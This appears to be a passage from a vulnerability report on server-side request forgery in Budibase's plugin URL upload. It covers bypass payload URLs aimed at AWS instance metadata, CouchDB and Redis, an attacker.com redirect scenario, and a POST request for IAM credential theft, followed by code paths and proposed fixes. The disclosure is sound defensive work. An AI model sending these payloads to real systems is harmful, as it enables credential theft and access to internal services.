Details
With `BLACKLIST_IPS=""` (chained with 001):
{ "message": "Failed to import plugin: incorrect header check" }
The "incorrect header check" error (zlib decompressor receiving HTTP response headers) proves the request reached victim:8888. The .tar.gz substring check was bypassed, and the HTTP fetch completed.
5.4 Additional bypass payloads tested (code-level only)
| URL | Check bypass | Intended target |
|-----|-------------|-----------------|
| http://169.254.169.254/.tar.gz | ✅ | AWS IMDS |
| http://127.0.0.1:4005/_session.tar.gz | ✅ | CouchDB |
| http://127.0.0.1:6379/.tar.gz | ✅ | Redis |
| http://attacker.com/real.tar.gz (redirects to http://10.0.0.1/) | ✅ | Internal via redirect |
---
6. Attack Scenarios
Scenario A — Chained with [001]: AWS IMDS credential theft
1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)
2. Builder user sends:
POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" }
3. Budibase fetches IMDS endpoint → receives IAM credentials JSON
4. zlib decompressor fails on non-gzip content → error response
5. Depending on logging config, credential material may appear in logs or error details
Scenario B — Standalone: Open redirect SSRF (default config)
1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin
2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" }
3. node-fetch follows redirect (default: redirect: 'follow')
4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached
5. Requires verification of redirect handling in fetchWithBlacklist
Scenario C — CouchDB data access (chained)
1. BLACKLIST_IPS="" enables internal access
2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz
3. CouchDB responds with JSON list of databases
4. zlib error confirms HTTP request reached CouchDB
---
7. Affected Code Paths
POST /api/plugin (Global Builder auth)
│
▼
packages/server/src/api/controllers/plugin/index.ts
│ source === "URL" → urlUpload(url, name, headers)
▼
packages/server/src/api/controllers/plugin/url.ts:8
│ if (!url.includes(".tar.gz")) throw ← ONLY check — trivially bypassed
│ → "http://169.254.169.254/.tar.gz" passes
▼
packages/server/src/utilities/fileSystem/plugins.ts
│ downloadUnzipTarball(url, name, headers)
▼
packages/backend-core/src/objectStore/objectStore.ts:703
│ downloadTarballDirect(url, path, headers)
▼
packages/backend-core/src/objectStore/utils/outboundFetch.ts
│ fetchWithBlacklist(url, options)
│ isBlacklisted(hostname)
│
├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓
│
└─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗
---
8. Recommended Fixes
Fix 1 (High): Replace substring check with URL parsing and extension validation
// packages/server/src/api/controllers/plugin/url.ts
import { URL } from "url"
export async function urlUpload(url: string, name = "", headers = {}) {
let parsed: URL
try {
parsed = new URL(url)
} catch {
throw new Error("Invalid plugin URL.")
}
// Only allow https:// scheme
if (parsed.protocol !== "https:") {
throw new Error("Plugin URL must use HTTPS.")
}
// Require the path to end with .tar.gz (not just contain it anywhere)
if (!parsed.pathname.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).")
}
const path = await downloadUnzipTarball(url, name, headers)
// ...
}
Fix 2 (High): Re-check blacklist after redirect in fetchWithBlacklist
// packages/backend-core/src/objectStore/utils/outboundFetch.ts
// Current: only checks the original URL before fetch
// Fix: also intercept redirects and re-check each redirect target
const response = await nodeFetch(url, {
...options,
redirect: "manual", // don't auto-follow
})
if (response.status >= 300 && response.status < 400) {
const redirectUrl = response.headers.get("location")
if (redirectUrl) {
const redirectHost = new URL(redirectUrl).hostname
if (await isBlacklisted(redirectHost)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// recursively fetch (with depth limit)
}
}
Fix 3 (Medium): Add hostname allowlist option for plugin sources
Provide a PLUGIN_ALLOWED_HOSTS variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.
---
9. References
- CWE-918: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html
- CWE-184: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html
- OWASP SSRF Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- Related finding: [001]
BLACKLIST_IPSbypass —report/raw/001_ssrf_blacklist_bypass.md - Developer SSRF awareness test:
packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393